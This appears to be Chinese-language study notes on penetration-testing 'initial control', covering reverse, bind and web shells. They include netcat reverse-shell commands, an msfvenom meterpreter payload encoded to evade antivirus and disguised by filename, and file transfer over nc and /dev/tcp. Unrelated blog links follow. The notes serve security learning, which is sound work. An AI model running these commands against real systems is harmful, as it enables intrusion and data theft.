资安学习路上-渗透测试实务4

初始控制

会利用某些手段达成RCE(Remote code execution,远端代码执行),方法有Reverse Shell、Bind Shell、Web Shell等等

上图取自台科大资安社课教材

1. Reverse Shell

把shell从远端发送回来的一种初始控制,利用远端服务器某些漏洞,造成服务器终端把自己发给某个IP的Port上,本地端会设好监听(一定要设定不然会接不起来,失败)

上图取自台科大资安社课教材

2. Bind Shell

跟Reverse Shell相反,由攻击端连到目标端,由目标端设定一个port,当有人连到这个port,就可以RCE,通常用再开後门

上图取自台科大资安社课教材

3. Web Shell

利用上传档案达成RCE,透过php语言,写一个造成Reverse Shell,本地端会设好监听(一定要设定不然会接不起来,失败)

上图取自台科大资安社课教材

pty建立交互式终端

为了增加可读性,可下下面指令
python –c “import pty;pty.spawn(‘bin/bash’)”

上图取自台科大资安社课教材

Netcat(nc)

Reverse Shell及Bind Shell神器,可用来

上图取自台科大资安社课教材

本机端用 -lvnp 来监听,如nc -lvnp 9000
受害端-e 表示连线成功後要执行的程序,如nc -e cmd 1.1.1.1 2222

msfvenom

  • metasploit是框架,msfvenom是生成payload的工具
  • 在metasploit下面的小模块,可以配合msfconsole使用的强大工具

上图取自台科大资安社课教材
指令分解

(1)设定Payload
--p windows/meterpreter/reverse_tcp

小补充:执行exploit後,meterpreter接收只能用handler做监听,不能用nc

(2)设定编码器:避免被防毒查杀,加上一层保护
-a x86 -e x86/shikata_ga_nai

编码器很多,可用msfvenom

(3)设定本地位置
LHOST=10.10.10.10 LPORT=9000

(4)设定输出:指定要输出成什麽档案跟名字(伪造自己档名)
–f exe –o msf_reverse_9000.exe

档案传输方法

当遇到某些状况无法传输资料时,

方法1:自己用python创一个HTTP server

python3 –m http.server

上图取自台科大资安社课教材

Linux下载用wget

上图取自台科大资安社课教材

Windows下载用powershell

上图取自台科大资安社课教材

方法2:用Netcat

目标端:要接收msf_reverse_9000.exe这个档案
nc –lvnp 9000 > msf_reverse_9000.exe
3

攻击端:把msf_reverse_9000.exe丢过去
nc –nv 10.10.10.40 9000 < msf_reverse_9000.exe

上图取自台科大资安社课教材

方法3:用/dev/tcp

目标端:把档案传过去
cat meow.txt > /dev/tcp/10.10.10.1/9000

攻击端:接收档案(用监听方式)
nc –lvnp 9000 > meow.txt

上图取自台科大资安社课教材


<<:  【2022】硬碟资料丢失?试试 5 款超好用的硬碟救援软件

>>:  CLOUDWAYS 服务器方案评比 - linode / VULTR-HF / Digital Ocean-DP

30天学习笔记 -day 29-bottomsheetDialog

bottomsheetDialog是一种底部弹出的Dialog。今天会实作一个简单的自定义botto...

Day12回圈(Ⅱ)

像是我们很常碰到的成绩也可以用if/else回圈来操作,假设90分以上是A,80分以上是B,…到60...

DAY28:VM安装套件以及GCP注意事项

VM环境安装及打包上环境 安装环境及套件 输入sudo apt update 更新apt 输入sud...

Day 26: 策略和层级、业务规则 (待改进中... )

「软件系统是策略(Policy)的陈述。电脑程序是将输入转换为输出的『策略的详细陈述』」 「会因着...

Golang-sync.Map 高并发的神之好用方法

最近收到了一个需求 需要不断的在一个data pool随机找到资料後,给前端显示新value 刚开始...